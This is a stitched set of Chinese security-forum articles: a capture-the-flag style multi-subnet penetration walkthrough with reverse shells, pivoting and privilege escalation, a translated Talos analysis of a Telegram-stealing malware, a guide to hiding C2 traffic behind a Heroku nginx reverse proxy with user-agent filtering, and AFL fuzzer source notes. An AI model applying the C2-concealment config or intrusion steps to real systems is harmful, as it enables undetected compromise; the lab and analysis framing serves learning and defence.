可以看到，学生模型的准确率稍微低于正常训练的模型，原因包括教师模型预测的偏差、添加的噪声等等，在不牺牲隐私、不违反数据隐私保护法律的情况下我们可以为5家医院之外的其他医院训练出一个学生模型，可以提升医疗效率，拯救更多的生命。
## 总结
我们在本文中利用差分隐私保护方案PATE，以设想的医院互助场景为例，在保护患者隐私数据的情况下，实现了在未标记CT图像数据集上的训练，得到了不错的结果。
## 参考
1.Scalable Private Learning with PATE
2.<http://www.cleverhans.io/privacy/2018/04/29/privacy-and-machine-learning.html>
3.Semi-supervised Knowledge Transfer for Deep Learning from Private Training
Data
4.<https://ivyclare.github.io/comic/pate/>
5.<https://blog.openmined.org/build-pate-differential-privacy-in-pytorch/>
6.<https://github.com/UCSD-AI4H/COVID-CT> | 社区文章 |
# 渗透测试实战——多网段多场景靶机入侵实战
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
hello大家好，最近工作太忙好几个月没更新文章了，但是也有好多小伙伴在线下工作、活动中认出了小弟的ID和头像，非常感谢大家关注我的文章，希望以后会写的更多更好！！
这次小弟准备了3个靶机，分别跨3个不同网段，2台Linux、一台win2008，攻击者分别逐步入侵拿权限、代理、完成全部入侵（因为小弟是在工作笔记本上搭的环境，笔记本电脑性能有限，故仅仅3台3层网段，其实原理都是一样的，请见谅）。
## 网络拓扑
场景一：
场景二：
## 靶机下载
靶机一：<https://pan.baidu.com/s/1-PMQTQWinxFPrZYnFrk6dg>
靶机二：<https://pan.baidu.com/s/1qd_FLPUfVOPaFjjXGtB0Gw>
靶机三：<https://pan.baidu.com/s/1vjfINZSTy3VXGfvwVuyfBw>
**注：第二层靶机小伙伴们在拿到root权限后，要使用root权限多添加几个网卡，系统默认一个网口**
## start
### 第一层网络环境
老规矩，先确认目标IP，IP为：172.16.24.63 如图：
我们进一步探测目标的具体情况，因为是靶机，所以我们就不用做一堆信息收集工作了，就nmap探测一下端口就好了，
我们继续以80端口，作为突破口，
就一个gif，我们跑一下目录看看，
逐一查看
如上图中看到，有joomla，我们使用joomscan扫一下看看
如图，无任何有用信息
我们把目光放在/zorin上，逐一点击查看，
可以看到2个关键点：“/sentrifugo”、初始默认密码为“toor”
下面我的思路是收集用户名，爆破一下初始密码，
该靶机是1985年的007电影，我就收集了剧中人的名字做成了字典，电影参考地址：<https://www.imdb.com/title/tt0090264/>
下面我们开始爆破密码，如图：
成功爆破出默认账号密码：bob – toor
成功登陆ssh，如图：
下一步我们继续提权操作，如图：
逐一查看：
成功拿到jenny账号密码：!!!sfbay!!!，
我们在继续查看/max
可以看到该目录下的“aView.py”文件我们无法查看，
下面切换到用户jenny，因为她的权限比较高一些，
可以成功查看该文件，下面我们就根据“note.txt”文件来做一个字典吧，根据它的规则提示我写了个简单小程序，代码如图：
运行脚本，保存为文件“fuzz.txt”
下面我们按照它的提示挂上字典，跑该目标的8191端口，本次小弟使用burp完成，大家也可使用wfuzz工具完成，如图：
成功
<http://172.16.24.63:8191/7f98ca7ba1484c66bf09627f931448053ae6b55a>
执行一下看看
图上的不就是“aView.py”的内容吗？我们修改一下那个python，确认一下
如图所示，我们有读写权限，修改试一下
可以看到，没问题了，下一步就直接写入反弹shell，如图：
本地接收，成功拿到root权限
（本靶机还有另外一种解法，小伙伴们自己线下试试哦）
### 第二层网络环境
接上一步，我习惯使用msf，我们先弹回一个meterpreter权限，如图：
查看IP情况，
我们添加路由，
添加完后，我们做一下socks4 代理，如下图操作：
下一步我使用proxychains来完成后面的代理工作，命令操作如下：
sudo vim /etc/proxychains.conf
注：此处IP为攻击者IP，
下一步我们测试一下是否能成功代理穿透，只需要在正常命令前面加上“proxychains”即可，如图：
可以看到代理穿透成功，如上图所示第二层靶机开放了2个端口，分别为22和80，老规矩我们还是以80端口作为突破口，进一步渗透，我们打开浏览器看一下
不需要设置代理，只需要如下命令：
浏览器也代理成功，但是没什么关键页面信息，我们跑一下目录吧
发现/drupal目录，我们继续跟进，
发现一个敏感用户“james”，先保持着，不一定后面要得到，
我们继续查看/robots.txt
查看版本信息：
如上图，该版本是有rce漏洞的，在小弟的前面文章中出现过多次，这里就不多做介绍了，本次直接使用msf来完成攻击，
执行
用shell来操作
继续
各位师傅一看就知道是base64的编码，我们解密看看
得到密码，但是好像没用，如图
我们继续
看到wget具备root权限，那我们的思路就跟小弟前面的文章中一样，直接伪造一个类root权限用户，wget下来直接替换原来的文件，操作如下
继续
下面我们直接wget就行，如图：
切换用户，成功拿到root权限
为了分别管理，我习惯性的弹会一个高权限shell，如图：
第二层靶机完
### 第三层网络环境
接上一步，我习惯使用msf，我们先弹回一个meterpreter权限，如图：
查看IP情况，并再一次添加路由
继续添加进proxychains
下面我们老规矩，用nmap探测目标
可以看到该目标为Windows
2008系统，并且开启较多端口，我们能入侵的方法也比较多，比如ms17-010、ssh爆破、rdp爆破、cve-2019-0708等等，那么这里那，因为本次设想了2种环境，所以我就随便使用2种方法完成各自的入侵工作：
**一、利用PRTG提权**
因为它开放了3389，所以我先登陆看看，命令如下，如图：
因为该靶机密码均为“vagrant”，如果我一来就爆破出来“administrator”的密码登录了，那就没意思了，所以我就用它另外一个账号叫“vagrant”来爆破吧，如图：
成功，我们下一步就是远程登录该账户，来完成提权操作，如图：
登陆后，看到其桌面上有个好东西，PRTG Network Monitor
软件，其是国外较知名的流量监控软件，本场景模拟在真实环境中的部署在不通互联网的监控内网敏感服务器，如图：
那我这次以它作为提权的突破口，let‘s go
1.先判断其软件版本，18.1.37
通过版本搜索，可以发现其是有漏洞的，下面我们来手工验证触发，试一下
名字随便取
下面我使用nishang来做一个tcpshell，如图
然后把这个shell.ps1上传到第二层被控制服务器上，（小伙伴们要问了，为什么要控制上传到第二层？因为该场景第三层目标只连内网不通互联网，我们只能通过第二层肉鸡来完成对第三层目标的最终控制）如图：
然后继续上面的操作
一切准备就绪，保存，执行
在第二层的被控制服务器上，成功看到其的http请求
那我们看一下，shell是否弹回来了？
如上图，可以看到我们成功拿到了system权限的shell。
（这里说一下，有的时候在实战中，这样操作写，可能会有shell是下载了，但是没有弹回来的情况，这里给大家说一下解决方法，先看下图：
命令解释：第一部分命令就是查看shell.ps1并用管道符给到第二部分，第二部分命令就是转换文件到指定编码并用管道符给到第三部分，第三部分就经过base64加密。然后让复制下面的编码，最后让目标执行命令：powershell
-enc xxxxx 即可，如图：
完！
**二、利用ms16-075提权**
这次的场景设想是进去第三层后，目标机器可以连通互联网，那我们这次就用另外一种方法拿system权限，前面都一样，我们先爆破其ssh把，如图：
连接上ssh
输入cmd，即是普通的Windows命令行界面，下面我们要做的，就是弹回一个shell到攻击者电脑上，这里大家可以使用公网vps如果没有的话或者可以使用ngrok/frp等，我这里就使用ngrok，
第一步先打开隧道，本次打开2个，一个是下载木马的隧道，一个是接收shell的隧道，如图；
下面开始配置木马
接下来开启本地http，打通下载木马的隧道
下一步打通接收shell隧道，msf开启监听，等待目标的连接，连接ssh，使用命令下载木马
接下来连接ssh，使用命令下载木马，运行
shell也弹回来了
下面我们提权，下图为可能可以被提权的漏洞
小伙伴们也可以使用该项目：<https://github.com/SecWiki/windows-kernel-exploits>
或者其他Windows界面下的提权搜索工具，互联网上很多，这里就不提供了。
本次选用ms16-075来完成，如图：
提权成功，成功拿到system权限。
文章完结。谢谢大家观看！！！ | 社区文章 |
# 分析针对窃取桌面版Telegram和Steam敏感数据的恶意软件
|
##### 译文声明
本文是翻译文章，文章来源：https://blog.talosintelligence.com/
原文地址：<https://blog.talosintelligence.com/2018/05/telegrab.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
在过去的近六周时间里，Talos团队监测到一种恶意软件的出现，该恶意软件会收集来自端到端加密即时消息服务Telegram的缓存和密钥文件。该恶意软件最早于2018年4月4日发布，在4月10日出现第二个变种。
该恶意软件的最初版本只能窃取浏览器凭证、Cookie以及在系统上找到的所有文本文件。然而在第二个版本中，增加了收集Telegram缓存和密钥文件的功能，同时还会收集Steam网站的登录信息。
根据Talos团队进行的情报研究，我们非常确信地识别出了该恶意软件的作者。该作者曾发布过几个YouTube视频，其中包含如何借助收集Telegram相关文件的方式劫持Telegram
Session，还包括如何将该恶意软件打包发布的说明。
该恶意软件的使用者将窃取到的信息存放在几个pcloud.com账户上，账户信息以硬编码的形式保存在恶意软件之中。这些窃取到的信息没有经过任何加密，也就是意味着任何有权访问该账户的人都能够自由查看到已经泄露的信息。
该恶意软件主要针对使用俄语的用户，并且有意规避了与匿名服务相关的IP地址。
本分析文章由Talos团队的Vitor Ventura和Azim Khodjibaev撰写。
## 受恶意软件影响的版本和影响方式
该恶意软件不会破坏Telegram的基本功能，也不会利用Telegram中存在的任何漏洞。恶意软件只针对于Telegram的桌面版本，该版本不支持秘密聊天，并且其默认设置的安全性较低。
上图截取自Telegram的官网，我们可以看到，官网明确指出，Telegram的桌面版和网页版不支持Secret
Chats（秘密聊天）功能。由于这些版本是基于云服务的，因此不会在本地存储聊天内容。该恶意软件利用了桌面版Telegram不包含秘密聊天的特性，同时利用了桌面版默认情况下无法超时自动注销登陆的设置，从而实现对Session的劫持，进而可以继续用户原有的对话。
需要说明的是，该恶意软件从原理上没有使用Telegram的漏洞。此外，该恶意软件所使用的方法也无法用于移动版的秘密交谈功能。
## 对Telegram桌面版的数据收集
该恶意软件会收集Telegram所有的缓存数据，将这些数据压缩后上传到指定位置。
经过调查，我们在网上发现了关于如何访问和使用这些信息来劫持Telegram会话的视频教程（ <https://youtu.be/fdwNm33-YJk>
）。总体来说，在打开会话后，将缓存和映射文件恢复到一个已有的Telegram桌面版安装包中，就可以实现对这些信息的访问。通过这种方式，可以查看被感染用户的会话、联系人和以前的聊天记录。Talos团队认为，该视频的发布者与恶意软件作者为同一个人。
根据我们所掌握的信息，目前没有任何工具能够对缓存信息进行解密。在GitHub的TelegramDesktop资源库中，有一个讨论（
<https://github.com/telegramdesktop/tdesktop/issues/3545>
），其中提及到可以开发一个工具来解密缓存信息。
在Telegram桌面版中，用于对文件进行加密的秘钥存储在map*文件中，这些文件会以用户的密码作为密钥进行加密。
假设攻击者没有掌握这些文件的密码，他们其实可以采取暴力破解的方式以查看这些文件，这样的过程并不困难。上面的代码展示了如何借助已有组件来实现这一过程。由于Telegram使用了AES进行加密，因此我们可以使用OpenCL，或者为HashCat创建一个插件（
<https://hashcat.net/hashcat/> ）。
攻击者只能访问本地缓存的数据。因此，我们要知道的是，在本地存储的所有内容都不具有安全性保证，唯一具有保证的是存储在云端的聊天记录。
## 恶意软件作者追溯
通过对该恶意软件众多变种的分析，我们最终追溯到了一个名为Racoon Hacker，也自称为Eyenot（Енот / Enot）或Racoon
Pogoromist的人，认定其为这一系列恶意软件的作者。
根据对视频的大致分析，我们认为Racoon
Hacker是以俄语为母语，并且对Python编程语言有深入理解的人。尽管他并没有发布过太多帖子和视频，但他发布过的所有材料，都涉及到对用户账户的劫持或Payload的装载。在这些视频中，经常会提到与恶意软件变种所使用的相同的平台或技术。
基于西里尔语的用户路径：
在上图中代码的第一行，可以清楚地体现出，恶意软件作者使用的是基于西里尔的语言。用户主目录的解码使用CP-1251字符编码方案进行，而该方案主要用于俄语或乌克兰语。
在Racoon Hacker发布的如何窃取Telegram会话的YouTube视频中（上文曾提到），我们发现有两个地方出现了用户enot。
在lolzteam.net，一个自2017年秋季以来就一直活跃的中型俄罗斯黑客论坛上，有一个名为Racoon
Progoromist的用户发表了一篇题目为“2018年针对Telegram的破解”的文章，该文章主要讲述了恶意软件的自定义化过程。
关于Telegram会话劫持工具的博客文章截图：
在另一个中型黑客论坛sft.st中，出现了相同软件的广告信息，该广告包含了一个到GitHub中Python脚本和其他工具的链接，可以通过该脚本和工具复现演示视频中的过程。
该GitHub账户的用户名为Enot272，目前已经删除了Python脚本，但我们有能力检索到该GitHub的内容列表。
在该资源库中，还包含与视频相同文件名的文件，以及视频的链接。这样一来，我们就认为Racoon
Hacker与enot272具有较强的关联性。尽管Stealer_for_Telegram_Desktop资源库已被删除，但我们在撰写这篇文章时，enot272这一账户仍处于活跃状态。通过查看账户详情，我们发现了另外两个该恶意软件的变种。
另外，这个GitHub账户使用的头像与YouTube账户所使用的头像相同，该账户只获得了两个Star，其中一个与恶意软件的变种之一使用了相同的API，同样将数据上传至pcloud.com云存储服务。这个API不是很流行，总共只获得了8个Star。
在他发布的一个视频中（ <https://www.youtube.com/watch?v%3DX_RkraFAB9w>
），介绍了使用Autolt创建加载程序的方法，视频中展示了一个恶意软件样本，体现了与Racoon Hacker的关联。
在视频的3分06秒，展示的是网站testytest1enot.ucoz.net的内容。在这里，我们看到dist1.txt和sdadasda.txt这两个文件名，与我们所掌握的两个样本完全一致，此外这个网址也与Dropper中找到的准确URL相符合。
尽管加载工具是由另一个人编写的，但Telegrab也在使用相同的加载工具、投放工具进行分发。
下图是从enotproject.exe逆向出的代码：
最后，我们还在恶意软件的白名单URL列表中，发现了enot272这个关键词。
## 恶意软件详细分析
该恶意软件使用以不同语言编写而成的下载程序进行分发。经过我们的统计，发现至少使用了Go、AutoIT、Python和DotNet这四种不同的语言，其中DotNet语言只有其原型。其中，我们发现了一个编译成可执行文件的AutoIT脚本。
在对AutoIT脚本进行反编译之后，我们发现该脚本可能是用于确认名为whiteproblem.exe的可执行文件finder是否已经成功下载，该可执行文件只是我们找到的文件名之一，更多请详见文末的IoC。
一旦该文件下载之后，恶意软件存在两种基于可执行文件finder.exe的变种，是以Go语言编写而成的。第一个变种只使用finder.exe。第二个变种位于RAR自解压文件中，除了finder.exe之外，还具有一个Python
Stub可执行文件，其名称为enotproject.exe或dpapi.exe。
自解压RAR文件的头部如下所示：
在完成解压之后，finder.exe就会启动，在上图中可以看到其设置的变量。
可执行文件finder.exe负责在默认用户的硬盘上搜索Chrome浏览器凭据和会话Cookie。在搜索硬盘的过程中，它还会收集系统上的所有文本文件（.txt）。第二个变种在执行期间，还会启动第二个可执行文件enotproject.exe或dpapi.exe。
这个可执行文件负责收集信息。收集到的数据会使用GitHub的开源库（ <https://github.com/yanmhlv/pcloud>
）上传到pcloud.com网站上。
下图为对pCouldClint.Login()的调用过程：
身份验证过程是使用预先硬编码到finder.exe之中的凭据来完成的。Talos团队在finder.exe样本中找到了5个pcloud.com账户。根据对相关代码的分析，我们发现在上传之前没有对收集到的数据进行任何加密。这也就意味着，拥有云服务凭据的任何人都能够访问收集到的信息，这对于被感染用户来说是非常危险的。
第二个名为enotproject.exe或dpapi.exe的文件，是使用Python编写的，并且使用pyinstaller将其包装到可执行文件中。通过对时间戳的分析，我们发现dpapi.exe的生成时间比enotproject.exe更早，并且其代码也更加简单，由此可以说明该恶意软件的更新过程。
针对enotproject.exe可执行文件，它增加了代码用于收集Telegram和Steam数据，同时新增的代码还会检查被感染用户的IP地址是否位于[https://enot272[.]neocities[.]org/IPLogger-output.txt的白名单之中。如果被感染用户的IP在白名单中，该恶意软件会自动退出。在这个白名单列表里，包含中国和俄罗斯的IP地址，以及其他国家的一些匿名服务IP。](https://enot272%5B.%5Dneocities%5B.%5Dorg/IPLogger-output.txt%E7%9A%84%E7%99%BD%E5%90%8D%E5%8D%95%E4%B9%8B%E4%B8%AD%E3%80%82%E5%A6%82%E6%9E%9C%E8%A2%AB%E6%84%9F%E6%9F%93%E7%94%A8%E6%88%B7%E7%9A%84IP%E5%9C%A8%E7%99%BD%E5%90%8D%E5%8D%95%E4%B8%AD%EF%BC%8C%E8%AF%A5%E6%81%B6%E6%84%8F%E8%BD%AF%E4%BB%B6%E4%BC%9A%E8%87%AA%E5%8A%A8%E9%80%80%E5%87%BA%E3%80%82%E5%9C%A8%E8%BF%99%E4%B8%AA%E7%99%BD%E5%90%8D%E5%8D%95%E5%88%97%E8%A1%A8%E9%87%8C%EF%BC%8C%E5%8C%85%E5%90%AB%E4%B8%AD%E5%9B%BD%E5%92%8C%E4%BF%84%E7%BD%97%E6%96%AF%E7%9A%84IP%E5%9C%B0%E5%9D%80%EF%BC%8C%E4%BB%A5%E5%8F%8A%E5%85%B6%E4%BB%96%E5%9B%BD%E5%AE%B6%E7%9A%84%E4%B8%80%E4%BA%9B%E5%8C%BF%E5%90%8D%E6%9C%8D%E5%8A%A1IP%E3%80%82)
2018年4月10日，我们第一次捕获到带有收集Steam和Telegram信息功能的恶意软件变种版本。
第三个版本的Python代码也被封装在一个py2exe可执行文件中。该代码类似于第二个变体中的enotproject.exe，但它是独立运行的。由于我们还没有得到这个变体的代码，因此我们暂时不清楚该恶意软件是如何收集信息的。根据时间戳显示，这个变体似乎是正在开发中的最新变体。
此外，该恶意软件没有持久性相关机制，说明恶意软件使用者似乎只关注如何收集信息。
## 总结
值得注意的是，对Telegram会话进行劫持是该恶意软件最有趣的功能，尽管这种攻击方式受到了一定程度的限制，但还是会对被感染用户的通讯录和以往聊天记录造成风险。尽管该恶意软件在这一功能上没有利用任何漏洞，但收集这类信息的恶意软件并不常见。通过对该恶意软件的分析，我想应该引起加密通讯软件用户的警惕，提醒大家一定要注意软件的使用说明，避免危及自身的隐私安全。
与大型犯罪组织所使用的大规模Bot网络相比，很多人都会以为这种威胁几乎可以忽略不计。然而，这种小型的恶意行动却在监控下持续进行，并且在不到一个月的时间收集到了成千上万个用户凭据，对被感染用户的隐私产生了巨大的影响。这些收集到的用户凭据和Cookie允许恶意攻击者以被感染用户的身份访问诸如vk.com、yandex.com、gmail.com、google.com这类网站，并获取到更多被感染用户的信息。我们分析的恶意软件样本并不复杂，但它的运行效率非常高。同时，恶意软件没有持久性机制，这意味着被感染用户需要被诱导手动执行恶意软件，但恶意软件不会在重启后自动再次运行。 | 社区文章 |
## **声明**
：本文仅做技术分享，图片结果均为网络分享图片，请各位看后遵守《网络安全法》，在授权前提下进行渗透测试，学习本文技巧所有产生后果与笔者无关。
话说现在隐藏C2域名的手段层出不穷，笔者参考了网上众多隐藏技巧，经过一定的钻研写下了这篇使用Heroku反向代理隐藏域名的分享文章，但和域前置、云函数技术不同，
本方法是建立一个堡垒机，同样用nginx反向代理：两个VPS，姑且称为a和b，a中搭建nginx，设置过滤规则，例如Host:www.b.com
，则将请求转发到b：
proxy_pass http://VPS b的ip:80，
当然也要使用X-Forwarded-For。
但这么做比较浪费，a变黑了就得换，不然还没渗透呢都被人给墙了。
这里介绍一个web代理服务： **heroku** ： [heroku.com](http://heroku.com "heroku.com")
可注册匿名账户，从github拉取代码建立网站，或者部署docker建立app，相当于多个随便用的代理VPS。
首先注册，确认邮件，然后登陆后确认是否成功：
然后使用linux安装docker、git和heroku
cli：参考<https://devcenter.heroku.com/articles/heroku-cli#download-and-install>
在vps中可使用heroku login确认你的账号：
这里就有个坑，一般很少人安装linux的桌面环境，这个应用需要web浏览器跳转连接登陆，然后认证账密。
**填坑思路1：** 各位可以安装桌面后远程+安装浏览器访问（我没用）。
**填坑思路2：** 将vps流量代理出来，使用chisel、socat、或ssh隧道的代理方式。
再或者frp、nps的内网穿透，或者干脆写个py脚本代理一下。
将本地浏览器代理设置为你开的socks或http。，然后在上图这个等待界面，复制链接到浏览器打开：
最后使用账密登录：
然后linux本地拉取一个git：
git clone <http://github.comheroku-docker-nginx-example.git>
打开文件夹：
cd heroku-docker-nginx-example
修改其中default.conf.template：
server {
listen $PORT;
location / {
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
if ( $http_user_agent = "Mozilla/1.0 (Windows NT 5.0; …)")
{
proxy_pass http://你的域名地址:80;
}
root /usr/share/nginx/html;
index index.html;
}
}
其中你的域名地址可以为根域名、子域名、甚至ip加端口，都可以的啦~
结合mallble c2 文件中定义http_stager设置还可过滤http_user_agent，各种骚操作没有你做不到哦~
然后登录container：
heroku container:login
创建app：
heroku create
然后上传web：
heroku container:push web
最后发布web：
heroku container:release web
这里的作用是
**使用你拉取的镜像在云端建立一个开放80访问的docker，用来代理请求。具体访问路径是创建的app名（如examplename），拼接起来为：examplename.herokuapp.com**
注意：这里创建后可去个人中心重命名该应用
也可创建时指定名称：
heroku create examplename
后续操作中指定app：
heroku container:push web -a examplename
heroku container:release web -a examplename
完成后个人中心或者拼接url可打开访问：
未满足我的过滤条件，访问默认nginx为正常页面，设置我的过滤规则后，例如UA、Host，在c2中可看到访问信息：
但问题是heroku目前只支持绑定80端口-http协议，需要https还需要在个人中心申请证书。
绑定为https可接受第一次访问，最后依然会转为http，图省事直接绑定为http类型。
实测可正常上线，ip地址为真实外网ip：
执行命令可正常回显：
抓包发现为herokuapp的地址：
**缺点：** 1只可代理http协议。2heroku有用户协议，如果不慎会被封号。
## **优点：** 地址黑了可以直接删了app重建一个。
最后PS：heroku反向代理也可设置为CDN加速之后的域名，但理论上会延迟访问时间。 | 社区文章 |
# sakuraのAFL源码全注释（一）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## afl-gcc小叙
### 核心函数
#### find_as
这个函数用来寻找`afl-as`的位置。
* 它首先检查是否存在AFL_PATH这个环境变量，如果存在就赋值给afl_path，然后检查`afl_path/as`这个文件是否可以访问，如果可以访问，就将afl_path设置为as_path。
* 如果不存在AFL_PATH这个环境变量，则检查argv0，例如（”/Users/sakura/gitsource/AFL/cmake-build-debug/afl-gcc”）中是否存在’/‘，如果有就找到最后一个’/‘所在的位置，并取其前面的字符串作为dir，然后检查`dir/afl-as`这个文件是否可以访问，如果可以访问，就将dir设置为as_path
* 如果上述两种方式都失败，则抛出异常。
#### edit_params
这个函数主要是将argv拷贝到`u8 **cc_params`中，并做必要的编辑。
* 它首先通过ck_alloc来为cc_params分配内存，分配的长度为`(argc+128)*8`，相当大的内存了。
* 然后检查argv[0]里有没有’/‘，如果没有就赋值’argv[0]’到name，如果有就找到最后一个’/‘所在的位置，然后跳过这个’/‘，将后面的字符串赋值给name。
* 将name和`afl-clang`比较
* 如果相同，则设置clang_mode为1，然后设置环境变量CLANG_ENV_VAR为1。
* 然后将name和`afl-clang++`比较
* 如果相同，则获取环境变量`AFL_CXX`的值，如果该值存在，则将cc_params[0]设置为该值，如果不存在，就设置为clang++
* 如果不相同，则获取环境变量`AFL_CC`的值，如果该值存在，则将cc_params[0]设置为该值，如果不存在，就设置为clang
* 如果不相同，则将name和`afl-g++`比较
* 如果相同，则获取环境变量`AFL_CXX`的值，如果该值存在，则将cc_params[0]设置为该值，如果不存在，就设置为g++
* 如果不相同，则获取环境变量`AFL_CC`的值，如果该值存在，则将cc_params[0]设置为该值，如果不存在，就设置为gcc
* 然后遍历从argv[1]开始的argv参数
* 跳过`-B/integrated-as/-pipe`
* 如果存在`-fsanitize=address`或者`-fsanitize=memory`，就设置asan_set为1;
* 如果存在`FORTIFY_SOURCE`，则设置fortify_set为1
* `cc_params[cc_par_cnt++] = cur`;
* 然后开始设置其他的cc_params参数
* 取之前计算出来的`as_path`，然后设置`-B as_path`
* 如果是clang_mode,则设置`-no-integrated-as`
* 如果存在AFL_HARDEN环境变量，则设置`-fstack-protector-all`
* sanitizer
* 如果asan_set在上面被设置为1，则使`AFL_USE_ASAN`环境变量为1
* 如果存在AFL_USE_ASAN环境变量，则设置`-fsanitize=address`
* 如果存在AFL_USE_MSAN环境变量，则设置`-fsanitize=memory`，但不能同时还指定`AFL_HARDEN`或者`AFL_USE_ASAN`，因为这样运行时速度过慢。
* 如果不存在AFL_DONT_OPTIMIZE环境变量，则设置`-g -O3 -funroll-loops -D__AFL_COMPILER=1 -DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION=1`
* 如果存在AFL_NO_BUILTIN环境变量，则设置`-fno-builtin-strcmp`等
* 最后`cc_params[cc_par_cnt] = NULL;`终止对cc_params的编辑
#### main函数
实际上看到这里，我们就知道afl-gcc就是找到as所在的位置，将其加入搜索路径，然后设置必要的gcc参数和一些宏，然后调用gcc进行实际的编译，仅仅只是一层wrapper
/* Main entry point */
int main(int argc, char **argv) {
if (isatty(2) && !getenv("AFL_QUIET")) {
SAYF(cCYA "afl-cc " cBRI VERSION cRST " by <[email protected]>\n");
} else be_quiet = 1;
if (argc < 2) {
...
exit(1);
}
//查找fake GNU assembler
find_as(argv[0]);
// 设置CC的参数
edit_params(argc, argv);
// 调用execvp来执行CC
// 这里我们在CC之前打印一下参数看看。
for (int i = 0; i < sizeof(cc_params); i++) {
printf("\targ%d: %s\n",i,cc_params[i]);
}
execvp(cc_params[0], (char **) cc_params);
FATAL("Oops, failed to execute '%s' - check your PATH", cc_params[0]);
return 0;
}
输出如下
sakura@sakuradeMacBook-Pro:~/gitsource/AFL/cmake-build-debug$ ./afl-gcc ../test-instr.c -o test
afl-cc 2.57b by <[email protected]>
arg0: gcc
arg1: ../test-instr.c
arg2: -o
arg3: test
arg4: -B
arg5: .
arg6: -g
arg7: -O3
## afl-as小叙
### 核心函数
#### edit_params
检查并修改参数以传递给`as`。请注意，文件名始终是GCC传递的最后一个参数，因此我们利用这个特性使代码保持简单。
**主要是设置变量as_params的值，以及use_64bit/modified_file的值。**
* 首先为as_params分配空间，大小为`(argc+32)*8`
* `u8 *tmp_dir`
* 依次检查是否存在TMPDIR/TEMP/TMP环境变量，如果存在就设置，如果都不存在就设置tmp_dir为”/tmp”
* `u8 *afl_as`
* 读取AFL_AS环境变量，如果存在就设置为afl_as的值
* 因为apple的一些原因，所以如果我们定义了`__APPLE__`宏，且当前是在clang_mode且没有设置AFL_AS环境变量，就设置use_clang_as为1，并设置afl_as为AFL_CC/AFL_CXX/clang中的一种。
* 如果afl_as不为空，就设置`as_params[0]`为`afl_as`，否则设置为`as`
* 设置`as_params[argc]`为0,as_par_cnt初始值为1。
* 然后遍历从argv[1]开始,到`argv[argc-1]`(也就是最后一个参数)之前的argv参数
* 如果存在`--64`，设置use_64bit为1，如果存在`--32`，设置use_64bit为0;如果是apple,则如果存在`-arch x86_64`,设置use_64bit为1,并跳过`-q`和`-Q`选项
* `as_params[as_par_cnt++] = argv[i]`;设置as_params的值为argv对应的参数值
* 然后开始设置其他的as_params参数
* 如果use_clang_as为1，则设置`-c -x assembler`选项
* 读取`argv[argc - 1]`的值,赋给input_file的值,也就是传递的最后一个参数的值作为input_file
* 比较input_file和tmp_dir/`/var/tmp/`/`/tmp/`的前strlen(tmp_dir)/9/5个字节是否相同，如果不相同，就设置pass_thru为1
* 设置modified_file的值为`alloc_printf("%s/.afl-%u-%u.s", tmp_dir, getpid(),(u32) time(NULL));`,简单的说就是`tmp_dir/.afl-pid-time.s`这样的字符串。
* 设置`as_params[as_par_cnt++] = modified_file`
* `as_params[as_par_cnt] = NULL;`
#### add_instrumentation
处理输入文件，生成modified_file，将instrumentation插入所有适当的位置。
* 如果input_file不为空，则尝试打开这个文件，如果打开失败就抛出异常，如果为空，则读取标准输入，最终获取FILE* 指针inf
* 然后打开modified_file对应的临时文件，并获取其句柄outfd，再根据句柄通过fdopen函数拿到FILE*指针outf
* 通过fgets从inf中逐行读取内容保存到line数组里，每行最多读取的字节数是MAX_LINE(8192),这个值包括’\0’,所以实际读取的有内容的字节数是MAX_LINE-1个字节。从line数组里将读取的内容写入到outf对应的文件里。
**接下来是真正有趣的部分，首先我们要确定的是，我们只在.text部分进行插桩，但因为这部分涉及到多平台以及优化后的汇编文件格式，这里我只会描述最核心的逻辑**
核心逻辑如下,我抽取了最重要的代码出来。
^func: - function entry point (always instrumented)
^.L0: - GCC branch label
^.LBB0_0: - clang branch label (but only in clang mode)
^\tjnz foo - conditional branches
...but not:
^# BB#0: - clang comments
^ # BB#0: - ditto
^.Ltmp0: - clang non-branch labels
^.LC0 - GCC non-branch labels
^.LBB0_0: - ditto (when in GCC mode)
^\tjmp foo - non-conditional jumps
while (fgets(line, MAX_LINE, inf)) {
if(instr_ok && instrument_next && line[0] == '\t' && isalpha(line[1])){
fprintf(outf, use_64bit ? trampoline_fmt_64 : trampoline_fmt_32,
R(MAP_SIZE));
instrument_next = 0;
ins_lines++;
}
...
if (line[0] == '\t' && line[1] == '.') {
if (!strncmp(line + 2, "text\n", 5) ||
!strncmp(line + 2, "section\t.text", 13) ||
!strncmp(line + 2, "section\t__TEXT,__text", 21) ||
!strncmp(line + 2, "section __TEXT,__text", 21)) {
instr_ok = 1;
continue;
}
if (!strncmp(line + 2, "section\t", 8) ||
!strncmp(line + 2, "section ", 8) ||
!strncmp(line + 2, "bss\n", 4) ||
!strncmp(line + 2, "data\n", 5)) {
instr_ok = 0;
continue;
}
}
...
if (line[0] == '\t') {
if (line[1] == 'j' && line[2] != 'm' && R(100) < inst_ratio) {
fprintf(outf, use_64bit ? trampoline_fmt_64 : trampoline_fmt_32,
R(MAP_SIZE));
ins_lines++;
}
continue;
}
...
if (strstr(line, ":")) {
if (line[0] == '.') {
if ((isdigit(line[2]) || (clang_mode && !strncmp(line + 1, "LBB", 3)))
&& R(100) < inst_ratio) {
instrument_next = 1;
}
}
else {
/* Function label (always instrumented, deferred mode). */
instrument_next = 1;
}
}
}
* 检查`instr_ok && instrument_next && line[0] == '\t' && isalpha(line[1])`即判断instrument_next和instr_ok是否都为1，以及line是否以`\t`开始，且`line[1]`是否是字母
* 如果都满足，则设置`instrument_next = 0`,并向outf中写入`trampoline_fmt`，并将插桩计数器`ins_lines`加一。
* 这其实是因为我们想要插入instrumentation trampoline到所有的标签，宏，注释之后。
* 首先要设置instr_ok的值，这个值其实是一个flag，只有这个值被设置为1，才代表我们在`.text`部分，否则就不在。于是如果instr_ok为1，就会在分支处执行插桩逻辑，否则就不插桩。
* 如果line的值为`\t.[text\n|section\t.text|section\t__TEXT,__text|section __TEXT,__text]...`其中之一，则设置instr_ok为1，然后跳转到while循环首部，去读取下一行的数据到line数组里。
* 如果不是上面的几种情况，且line的值为`\t.[section\t|section |bss\n|data\n]...`，则设置instr_ok为0，并跳转到while循环首部，去读取下一行的数据到line数组里。
* 插桩`^\tjnz foo`条件跳转指令
